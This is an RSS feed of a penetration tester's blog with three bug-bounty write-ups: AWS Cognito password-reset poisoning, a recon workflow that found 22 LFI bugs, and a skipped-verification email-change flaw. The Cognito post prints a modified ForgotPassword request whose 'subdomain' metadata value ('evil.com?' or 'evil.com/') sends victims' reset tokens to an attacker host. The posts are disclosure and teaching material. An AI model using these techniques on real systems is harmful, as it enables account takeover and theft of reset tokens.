<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hazem El Sayed]]></title><description><![CDATA[I’m Hazem El-Sayed, a Penetration Tester at Deepstrike, specializing in network, web, and mobile security and security automation development.]]></description><link>https://zomasec.me</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1757079376214/ee27714b-b10d-471f-9269-d5f926dc8015.png</url><title>Hazem El Sayed</title><link>https://zomasec.me</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 27 Apr 2026 16:01:44 GMT</lastBuildDate><atom:link href="https://zomasec.me/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Full ATO (1 Click) via custom metadata manipulation in AWS Cognito Misconfigured Application]]></title><description><![CDATA[Assalamu'alaikum, everyone. It’s been a long time since my last write-up. Today, we have a new finding on an application that uses AWS Cognito from Amazon as an Identity Provider, which uses custom metadata, but custom things always lead to special f...]]></description><link>https://zomasec.me/full-ato-1-click-via-custom-metadata-manipulation-in-aws-cognito-misconfigured-application</link><guid isPermaLink="true">https://zomasec.me/full-ato-1-click-via-custom-metadata-manipulation-in-aws-cognito-misconfigured-application</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[AWS]]></category><category><![CDATA[aws lambda]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[Hazem El-Sayed]]></dc:creator><pubDate>Sun, 31 Aug 2025 21:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757077466657/c87b84ba-f653-41ae-a62e-d9aca4faedcc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Assalamu'alaikum, everyone. It’s been a long time since my last write-up. Today, we have a new finding on an application that uses AWS Cognito from Amazon as an Identity Provider, which uses custom metadata, but custom things always lead to special findings ;)</p>
<p>Before the story, I’ll quickly explain the only AWS Cognito bits you need for this scenario — so when you see the payloads, you know exactly <em>why</em> this worked.</p>
<h2 id="heading-what-is-aws-cognito"><strong>What is AWS Cognito?</strong></h2>
<ul>
<li><p>Simple and Secure User Sign-Up, Sign-In, and Access Control</p>
</li>
<li><p>Amazon Cognito provides authentication, authorization, and user management for web and mobile apps. The users can sign in directly with a username and password, or through a third party such as Facebook, Amazon, Google, or Apple.<br />  The two main components of Amazon Cognito are user pools and identity pools. User pools are user directories that provide sign-up and sign-in options for the app users. Identity pools enable the developer to grant their users access to other AWS services. The developer can use identity pools and user pools separately or together.</p>
</li>
</ul>
<h2 id="heading-key-components"><strong>Key Components</strong></h2>
<p><strong>1. User Pools</strong></p>
<ul>
<li><p>Manage and authenticate users.</p>
</li>
<li><p>Handles registration, login, MFA, and account recovery.</p>
</li>
</ul>
<p><strong>2. Identity Pools</strong></p>
<ul>
<li><p>Provide temporary AWS credentials for authenticated (or even guest) users.</p>
</li>
<li><p>Let's apps access AWS resources directly (e.g., upload to S3).</p>
</li>
</ul>
<h2 id="heading-other-concepts-to-know"><strong>Other Concepts To Know</strong></h2>
<ul>
<li><p><strong>ClientId</strong> is used to tell AWS Cognito Host that the current request is for application X, and every application has a unique ClientId. We can get it simply from JS Code or by intercepting Signup or login requests</p>
</li>
<li><p><strong>API operations</strong> are the <strong>actions or functions</strong> you can call on a service (e.g., <code>ForgotPassword</code>, <code>SignUp</code>, <code>ListUsers</code>). Each operation has an endpoint, method, and input/output that define how you interact with the service. Here is an example of these operations, like <em>AWSCognitoIdentityProviderService.ForgotPassword,</em> which is set in the <em>X-Amz-Target</em> Header, and each API Operation expects specific optional and required parameters that we can know from the docs</p>
</li>
<li><p><strong>ForgotPassword API</strong><br />  This endpoint sends a reset code/link to the user. Importantly, it accepts a <code>ClientMetadata</code> map. Cognito then passes whatever you put in <code>ClientMetadata</code> to your <strong>Lambda triggers</strong> (like <strong>CustomMessage</strong>) — <em>without validating or storing it</em>. The docs literally say Cognito won’t validate it and only forwards it to your triggers, so it’s the developer’s responsibility to handle it, and here is our finding core. (<a target="_blank" href="https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_ForgotPassword.html">AWS Documentation</a>)</p>
</li>
<li><p><strong>ClientMetadata (in general)</strong><br />  <code>ClientMetadata</code> is a map of custom key–value pairs you can pass when calling Cognito APIs (like <code>ForgotPassword</code>). These values are included in the JSON payload sent to any <strong>Lambda triggers</strong> (e.g., pre-sign-up, custom message, user migration). Inside the Lambda function, you can read and use it <code>clientMetadata</code> to customize or enhance your workflow.. (<a target="_blank" href="https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_ForgotPassword.html">AWS Documentation</a>)</p>
</li>
</ul>
<h2 id="heading-the-finding-click-ato-via-custom-clientmetadata-manipulation"><strong>The finding: “Click ATO” via custom</strong> <code>ClientMetadata</code> manipulation</h2>
<p>context: the target’s frontend calls Cognito’s <strong>ForgotPassword</strong> with a custom <code>ClientMetadata</code> that their backend/Lambda uses to craft the visible <strong>reset link</strong> inside the email. concatenates into the link. It was empty by default.</p>
<h2 id="heading-the-request-i-saw-original"><strong>The request I saw (original)</strong></h2>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/</span> HTTP/2
<span class="hljs-attribute">Host</span>: cognito-idp.eu-central-1.amazonaws.com
<span class="hljs-attribute">Content-Type</span>: application/x-amz-json-1.1
<span class="hljs-attribute">X-Amz-Target</span>: AWSCognitoIdentityProviderService.ForgotPassword
<span class="hljs-attribute">Te</span>: trailers

<span class="json">{
  <span class="hljs-attr">"ClientId"</span>: <span class="hljs-string">"2kmb8km41ppqavnxxxxx"</span>,
  <span class="hljs-attr">"Username"</span>: <span class="hljs-string">"zomasec@wearehackerone.com"</span>,
  <span class="hljs-attr">"ClientMetadata"</span>: {
    <span class="hljs-attr">"redirectUrl"</span>: <span class="hljs-string">"/en-de/aut"</span>,
    <span class="hljs-attr">"locale"</span>: <span class="hljs-string">"en"</span>,
    <span class="hljs-attr">"snowPlowDomainUserId"</span>: <span class="hljs-string">"xxxxxx-xxxx-xxxx-xxx-xxxxx"</span>,
    <span class="hljs-attr">"subdomain"</span>: <span class="hljs-string">""</span>,
    <span class="hljs-attr">"authOrigin"</span>: <span class="hljs-string">""</span>
  }
}</span>
</code></pre>
<p>and the <strong>reset link</strong> that comes in the email looked like this :</p>
<pre><code class="lang-bash">https://www.freeplastine.ai/en-de/reset-password/&lt;userId&gt;
  ?email=&lt;email&gt;
  &amp;_sp=xxxx
  &amp;redirectUrl=/en-de/aut
  &amp;confirmationToken=xxx
</code></pre>
<h2 id="heading-my-first-thought"><strong>My first thought</strong></h2>
<p>The first thing that came to my mind is what if the application relies on the value of authOrigin or subdomain in the link that is sent to mail, but the only one that changed is the subdomain parameter</p>
<p>I replaced the empty <code>subdomain</code> with <code>evil.com</code> thinking “maybe this sets the subdomain or hostname”. The result surprised me a bit:</p>
<pre><code class="lang-bash"><span class="hljs-string">"subdomain"</span>: <span class="hljs-string">"evil.com"</span>
</code></pre>
<p>→ the link turned into:</p>
<pre><code class="lang-bash">https://evil.com.freeplastine.gaza/en-de/reset-password/&lt;userId&gt;?email=&lt;email&gt;&amp;_sp=xxxx&amp;redirectUrl=/en-de/aut&amp;confirmationToken=xxx
</code></pre>
<p>So the app <strong>prepended</strong> whatever I put into it <code>subdomain</code> as a <strong>subdomain</strong> of the legit site. cute. But this alone isn’t useful unless I can take over <code>evil.freeplastine.gaza</code> (subdomain takeover). not an easy option for our ATO. Let’s see how to bypass!</p>
<h2 id="heading-how-does-the-browser-parse-urls"><strong>How does the browser parse URLs?</strong></h2>
<p>Actually, this is a long story I have studied in Chapter One of <a target="_blank" href="https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886">The Tangled Web</a> book, which I really recommend for everyone who wants to get deep into client-side attacks and how browser works with web applications, but I will summarize it here into simple steps :</p>
<p><img src="https://miro.medium.com/v2/resize:fit:615/1*uLHnhl7Wfv7_p66YO-NIow.png" alt /></p>
<h2 id="heading-url-structure">URL Structure</h2>
<p><strong>What is happening when you open a URL via a browser?</strong></p>
<p>The browser is doing these steps in the order below :</p>
<ol>
<li><p>Extract the schema/protocol name.</p>
</li>
<li><p>Consume the hierarchical URL Identifier should find <code>//</code> Skip if found, fail out if not.</p>
</li>
<li><p>Grab the authority section, scan for the next <code>“/”, “?”, or “#”</code>.</p>
</li>
<li><p>Find the credentials, if any. search for <code>@</code> to get login credentials</p>
</li>
<li><p>Extract the destination address like <code>google.com</code></p>
</li>
<li><p>Identify the path (if present)</p>
</li>
<li><p>Extract the query string (if present).</p>
</li>
<li><p>Extract the fragment identifier (if present) <code>#</code></p>
</li>
</ol>
<p>Ok, now we have a basic look at what happened when opening a URL via a browser</p>
<h2 id="heading-escalation-and-bypasses">Escalation and bypasses</h2>
<p>How do we convert this URL <a target="_blank" href="https://evil.com.freeplastine.gaza/"><em>https://evil.com.freeplastine.gaza/</em></a> to an exploitable one by making the browser set the domain of the attacker instead of dealing with it as a subdomain?</p>
<p>We know now from my explanation above that browsers grab the authority section, scanning for <code>“/”, “?”, or “#”</code> In the 3rd step, before grabbing the destination address, which is <code>evil.com.freeplastine.gaza</code> In our case</p>
<p>This allows us to do our attack successfully if the developer relies on the ClientMetadata that comes from AWS without any validation enforced.</p>
<p>We can bypass it in several ways, like using both of <code>“/”, “?”</code> x because they are sent to the server, the hash delimiter cannot be used here, because the browser will use it locally on the client side, and will not send it to the server</p>
<p>So I can use both of those delimiters to craft a final link that will set the attacker's domain instead of <code>freeplastine.gaza</code></p>
<p><code>evil.com?</code>-&gt; the link will be received to be like :<br /><code>evil.com?freeplastine.gaza</code> This will be parsed by the browser to make <code>evil.com</code> the domain of the URL</p>
<pre><code class="lang-plaintext">https://evil.com?.freeplastine.gaza/en-de/reset-password/&lt;userId&gt;?email=&lt;email&gt;&amp;_sp=xxxx&amp;redirectUrl=/en-de/aut&amp;confirmationToken=xxx
</code></pre>
<p>Here is a screenshot of how the browser parsed the URL, and the origin is set to the attacker’s host, and parsed the target host as a search query, and also the browser fixed the URL by adding / automatically to make it a correct URL, as we mentioned before :</p>
<p>Press enter or click to view image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*pBq_oI_pvdH-hpG3aqDRMg.png" alt /></p>
<p>The same payload can be crafted with a path delimiter <code>“/”</code></p>
<h2 id="heading-steps-to-reproduce"><strong>Steps To Reproduce :</strong></h2>
<ol>
<li>In the password reset request to the <em>ForgotPassword API operation, we will intercept it using Burp Suite</em></li>
</ol>
<p>Press enter or click to view image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*wd1Mr2JkLsOn0kvWgqp_6A.png" alt /></p>
<p>boom the <strong>final link</strong> sent over mail to the victim became:</p>
<p>Press enter or click to view image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*qI3IotrE6JCYC2wJEqjpLw.png" alt /></p>
<pre><code class="lang-plaintext">https://evil.com/.freeplastine.gaza/en-de/reset-password/&lt;userId&gt;?email=&lt;email&gt;&amp;_sp=xxxx&amp;redirectUrl=/en-de/aut&amp;confirmationToken=xxx
</code></pre>
<p>The <strong>host</strong> is now <code>evil.com</code> (attacker-controlled). The legit domain got pushed into the <strong>path</strong> (<code>/.freeplastine.gaza/en-de/...</code>This is classic <a target="_blank" href="https://book.hacktricks.wiki/en/pentesting-web/reset-password.html#password-reset-poisoning">Password Reset Poisoning</a> caused by trusting unvalidated metadata when composing URLs that lead to sent victim’s reset password link to the attacker’s domain that will make him steal it. logging the requests sent to it</p>
<p>I hope you all enjoyed this blog and learnt something new. Wait for my next Write-up, which is Zero Click ATO on the same target but with a new misconfiguration</p>
<p>I found this on a penetration testing project at <a target="_blank" href="https://deepstrike.io/">Deepstrike LLC</a></p>
<p>اذكر الله أخي المسلم</p>
<p>Press enter or click to view the image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*ikm31URWYe7gGoNx04btmA.png" alt="Indeed, it is a Jihad: either victory or martyrdom." /></p>
<p><mark>Indeed, it is a Jihad: either victory or martyrdom.</mark></p>
]]></content:encoded></item><item><title><![CDATA[How I found 22 LFI in the same program using automation tricks]]></title><description><![CDATA[السلام عليكم
Assalamualaikum, everyone! I will not introduce myself this one, cuz it’s os pouring when I read others’ write-ups

The bug hasn’t been fixed yet, so I won’t mention the website’s name. Let’s just call it freepalestine.com

The story fro...]]></description><link>https://zomasec.me/how-i-found-22-lfi-in-the-same-program-using-automation-tricks</link><guid isPermaLink="true">https://zomasec.me/how-i-found-22-lfi-in-the-same-program-using-automation-tricks</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[LFI]]></category><dc:creator><![CDATA[Hazem El-Sayed]]></dc:creator><pubDate>Sun, 20 Oct 2024 21:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757077211096/ac069c25-c6ae-45d4-8a32-3eaebe65e9ef.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>السلام عليكم</p>
<p>Assalamualaikum, everyone! I will not introduce myself this one, cuz it’s os pouring when I read others’ write-ups</p>
<blockquote>
<p><em>The bug hasn’t been fixed yet, so I won’t mention the website’s name. Let’s just call it</em> <a target="_blank" href="https://www.youtube.com/watch?v=JcGj8Aj91oI"><em>freepalestine.com</em></a></p>
</blockquote>
<h2 id="heading-the-story-from-recon-to-22-lfi-3gt"><strong>The story from recon to 22 LFI 3&gt;</strong></h2>
<h3 id="heading-recon-process"><strong>Recon process:</strong></h3>
<p>I am hunting these days on VDP to make a profile and get private programs, so this is why I am sharing this write-up and why I was wasting time on VDP :)</p>
<p>My recon in VDP programs is different than BBP programs, so I just focus on collecting hidden or new subdomains and collecting hidden endpoints and run my private automation on them cuz in not need knowledge from VDP or experience. I am so clear when I say that doing this is for reputation.</p>
<p>I already have a private subdomain enumeration tool, but before this, I can say that you can run a tool like Subfinder and give it a lot of api keys to collect the highest number of subdomains passively, or you can use the known bash script like <a target="_blank" href="https://github.com/bing0o/SubEnum">subenum</a></p>
<p>I collected all the subdomains from all domains, then I started running <code>waymore</code> on them. Then I collected a lot of URLs. I have a private tool that likes gf patterns, but with more patterns and easy to configure (I will share it soon)</p>
<p>I now have a lot of URLs and sorted by the bugs like XSS, SQLi, ssrf based on parameters</p>
<p>I started surfing them manually while my automaton is doing its magic on them, but I found an interesting parameter that may be vuln to LFI. The param’s name is something random or non-English like <em>/nonenglishname?lighfi=filename.php</em></p>
<p>In my mind, I said, of course it’s vulnerable because I know that this program is so stupid to include a file form parameter name like this case</p>
<p>And already, if I changed the value of param to a random value, it gives me an error instead of showing pages</p>
<p>Press enter or click to view the image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*54ZatNNz9fF3L8Q06cP-WQ.png" alt /></p>
<p>So I wrote the payload easily and got this</p>
<p>Press enter or click to view the image in full size</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*PlP4HQhqNkGfKKgysCVnXw.png" alt /></p>
<p>Now you will ask me why you are sharing this shit !!</p>
<p><img src="https://miro.medium.com/v2/resize:fit:326/1*a_IIw29MZcVyT1xEpJ7o8Q.jpeg" alt /></p>
<p>Of course, this is not the write-up, so don’t leave now :)</p>
<p>I was thinking what if the same bug exists on more than subdomain, so I searched with the parameter name in the URLs, guess what I found, another 2 bugs from this because the same bug exists on the other subdomains</p>
<p>I say, of course, there is more. I was thinking of searching by the path itself, but I did not find anything because each subdomain has a different path in a non-English name</p>
<p>I stopped here for a while and reported the 3 bugs, and after testing XSS in the same other subs, i got an idea to search by the parameter value itself</p>
<p>The thing that all 3 bugs are the same in is the value of the parameter, it’s a <code>=filename.php</code> <em>So I wrote a grep command to search for all parameters that have a PHP file name</em></p>
<pre><code class="lang-plaintext">cat passive-urls.txt | grep -Pv 'source=' | grep -P '\?[^=]+=\K[^&amp;]+\.php' | uro
</code></pre>
<p>As in my notes, at that moment, I found another 6 LFI bugs from this</p>
<p><img src="https://miro.medium.com/v2/resize:fit:803/1*xisDwga0DIeB5FL387oDyA.png" alt /></p>
<p>Now I have 9 bugs</p>
<p>But here I used way more to collect URLs faster than crawling each subdomain, cuz the program has a lot of subs, but this means that I collected the cached URLs by WebArchive and common crawl so if there new subdomain, I will not get its URLs, so it's not cached yet</p>
<p>I am using Katana; you can use any other crawler you want, but I prefer Katana. The command was like</p>
<pre><code class="lang-plaintext">cat alive.txt |katana -d 5 -jc -jsl -c 50 -p 50 -silent -o crawl-urls.txt
</code></pre>
<p>Now I have more num of urls for the latest new subdomains on this program that were not found passively using WayMore, so this is the difference between crawlers and tools like <code>waymore</code> and <code>gau</code></p>
<p>After collecting all endpoints from all subdomains, I ran the regex above that catches the params that have filename.php as a value I found all 22 LFI.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:463/1*_3Rr9T66EvQZAu9bsxUagA.png" alt /></p>
<p>For unknown reasons, the program accepted the first 3 bugs, and after a week, they gave me duplicates for all of the others on my 3 submissions without an understandable reason (the bugs on different subs and different params, and different paths !!), just the program does not want to accept them (عافية)<br />ادي اخرة البروجرامز ام ابو بلاش بتعمل فيه خير ومستخسر يديك نقط</p>
<p>I tried to escalate it to RCE via known methods, but without any result</p>
<p>You can see this to know how to escalate LFI to RCE</p>
<p>Now I have an automation to do all that you read here, but I explained what I did when I tested this program cmd by cmd cuz i was enjoying when i testing this, i tried to tell you what is on my mind when I found this, this is not an advanced writeup, maybe for begainers or people that not familiar with tools and automation</p>
<p>اذكر الله أخي المسلم</p>
<p><img src="https://miro.medium.com/v2/resize:fit:451/1*lFc7E63nN_qPbhVWem9a0Q.png" alt="الَّذِينَ آمَنُوا وَهَاجَرُوا وَجَاهَدُوا فِي سَبِيلِ اللَّهِ بِأَمْوَالِهِمْ وَأَنفُسِهِمْ أَعْظَمُ دَرَجَةً عِندَ اللَّهِ ۚ وَأُولَٰئِكَ هُمُ الْفَائِزُونَ." /></p>
]]></content:encoded></item><item><title><![CDATA[How I got my first Logic Bug and how to find them]]></title><description><![CDATA[السلام عليكم
Assalamualaikum, everyone! Let me introduce myself first ❤️
I’m Hazem El-Sayed (zoma), a Junior Computer Science student and an Offensive Security enthusiast. Currently, I’m hunting for bugs in Vulnerability Disclosure Programs (VDPs), a...]]></description><link>https://zomasec.me/how-i-got-my-first-logic-bug-and-how-to-find-them</link><guid isPermaLink="true">https://zomasec.me/how-i-got-my-first-logic-bug-and-how-to-find-them</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[websecurity]]></category><dc:creator><![CDATA[Hazem El-Sayed]]></dc:creator><pubDate>Wed, 04 Oct 2023 21:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757073025223/24f768fa-53a1-4f2d-b1a5-11cc7bb027c3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>السلام عليكم</p>
<p><strong>Assalamualaikum, everyone!</strong> Let me introduce myself first ❤️</p>
<p>I’m <strong>Hazem El-Sayed (zoma)</strong>, a Junior Computer Science student and an Offensive Security enthusiast. Currently, I’m hunting for bugs in Vulnerability Disclosure Programs (VDPs), and sometimes in Bug Bounty Programs (BBPs), like our bug today, alhamdullah. I also enjoy playing Capture the Flag (CTF) on various platforms like HTB, Cyber Talents, and PicoCTF to gain knowledge.</p>
<p>The bug I’m going to discuss hasn’t been fixed yet, so that I won’t reveal the website’s name. Let’s just call it <a target="_blank" href="http://freepalestine.com"><code>freepalestine.com</code></a>.</p>
<hr />
<h3 id="heading-why-look-for-logic-bugs">Why Look for Logic Bugs?</h3>
<p>I’m just beginning my bug-hunting journey with real applications. When I started hunting in <a target="_blank" href="http://freepalestine.com"><code>freepalestine.com</code></a>I decided to focus on logical bugs. Other bug hunters typically look for common vulnerabilities, such as XSS, SQL Injection, and CSRF, and most have used scanners to identify these issues, so the site is relatively clean of those types of vulnerabilities that other hackers have already discovered.</p>
<p>In our target, the scope includes only two sites. Guess what? There were over <strong>750 accepted reports</strong> in the program! Even with all that scrutiny, I found a simple logic bug that no one else had noticed.</p>
<p>Do you know why?!</p>
<p>Because I am a <strong>HACKERMAN</strong> ❤️ 👽</p>
<p><img src="https://www.zomasec.me/_next/image?url=%2Fstatic%2Fimages%2Fwriteups%2Fhackerman.png&amp;w=750&amp;q=75" alt="hackerman" /></p>
<p>Just kidding, I’m just a <strong>noob</strong> 😅.</p>
<p>But seriously, you should also focus on logic bugs. Unlike traditional bugs, logic bugs require unique thinking rather than using tools or pre-defined payload lists in Burp Intruder. If you rely solely on this, you’re missing out on discovering more complex and interesting vulnerabilities.</p>
<h3 id="heading-how-to-hunt-for-logic-bugs-key-steps">How to Hunt for Logic Bugs: Key Steps</h3>
<ol>
<li><p><strong>Start Using the Application as a Normal User</strong></p>
<p> Begin by exploring the application as a regular user. Understand its functionalities and interesting features, and try to find engineering blogs or documentation if available.</p>
</li>
<li><p><strong>Understand the Application’s Purpose and Workflow</strong></p>
<p> Answer these questions while exploring:</p>
<ul>
<li><p>What is the purpose of the application?</p>
</li>
<li><p>Does it have different user roles (e.g., admin, proUser, normalUser)?</p>
</li>
<li><p>How does the application authenticate users and assign privileges?</p>
</li>
<li><p>What workflows are involved for features like email change, password change, purchase, etc.?</p>
</li>
</ul>
</li>
</ol>
<blockquote>
<p><strong><em>Note: Intercept requests while browsing and pay attention to sensitive functionalities. Track each request during these actions to understand how functionalities and access controls are implemented.</em></strong></p>
</blockquote>
<ol start="3">
<li><p><strong>Think Outside the Box</strong></p>
<p> After understanding the application’s behavior, try to think outside the box. What would happen if you skipped a step or took an unexpected action? Could you access an admin endpoint as a normal user? Think creatively to bypass access controls or interfere with application logic.</p>
</li>
</ol>
<h3 id="heading-example-bug-workflow-and-description">Example Bug: Workflow and Description</h3>
<p>On <a target="_blank" href="http://freepalestine.com"><code>freepalestine.com</code></a> (a store like Amazon or Alibaba), Users can either buy products as normal accounts or sell them as sellers.</p>
<p>The bug is related to changing the user’s email and mobile number.</p>
<p><strong>Normal Workflow</strong>:</p>
<ol>
<li><p>User clicks on "change email" in settings at <a target="_blank" href="http://freepalestine.com/user/profile"><code>freepalestine.com/user/profile</code></a>.</p>
</li>
<li><p>The application verifies the user at <a target="_blank" href="http://freepalestine.com/user/verification-pc"><code>freepalestine.com/user/verification-pc</code></a>.</p>
</li>
<li><p>Checks if the password is correct.</p>
</li>
<li><p>If correct, returns to <a target="_blank" href="http://freepalestine.com/profile/email/change"><code>freepalestine.com/profile/email/change</code></a>.</p>
</li>
<li><p>The user can change their email on the opened page.</p>
</li>
</ol>
<p><strong>Logic Bypass</strong>: What if we jumped from step 2 to step 5 directly?</p>
<p>The <code>/verification-pc</code> endpoint has a <code>return</code> parameter that leads back to the email change page:</p>
<pre><code class="lang-js">freepalestine.com/user/verification-pc?<span class="hljs-keyword">return</span>=https%<span class="hljs-number">3</span>A%<span class="hljs-number">2</span>F%<span class="hljs-number">2</span>Ffreepalestine.com%<span class="hljs-number">2</span>Fprofile%<span class="hljs-number">2</span>Femail%<span class="hljs-number">2</span>Fchange
</code></pre>
<p>By decoding the <code>return</code> parameter, I accessed <a target="_blank" href="http://freepalestine.com/profile/email/change"><code>freepalestine.com/profile/email/change</code></a> without entering the password, and was able to change the email. This simple bug could enable a session hijacking attack if chained with another exploit.</p>
<p>The mobile change follows the same logic, so I won’t repeat it here.</p>
<h3 id="heading-impact-and-resolution">Impact and Resolution</h3>
<p>The security team initially rated it <strong>High Severity,</strong> but then downgraded it to <strong>Medium</strong> because:</p>
<blockquote>
<p><strong><em>"This behavior alone doesn’t result in a security impact. However, it could elevate the impact if paired with another exploit, like session hijacking."</em></strong></p>
</blockquote>
<p>I agree with this assessment, so I’m not disappointed 😢.</p>
<hr />
<h3 id="heading-closing-thoughts">Closing Thoughts</h3>
<p>I hope this example helped, even if in a small way. Remember to always think creatively when hunting for bugs.</p>
<p>Just one thing to say: <strong>اذكر الله يا أخي المسلم</strong></p>
]]></content:encoded></item></channel></rss>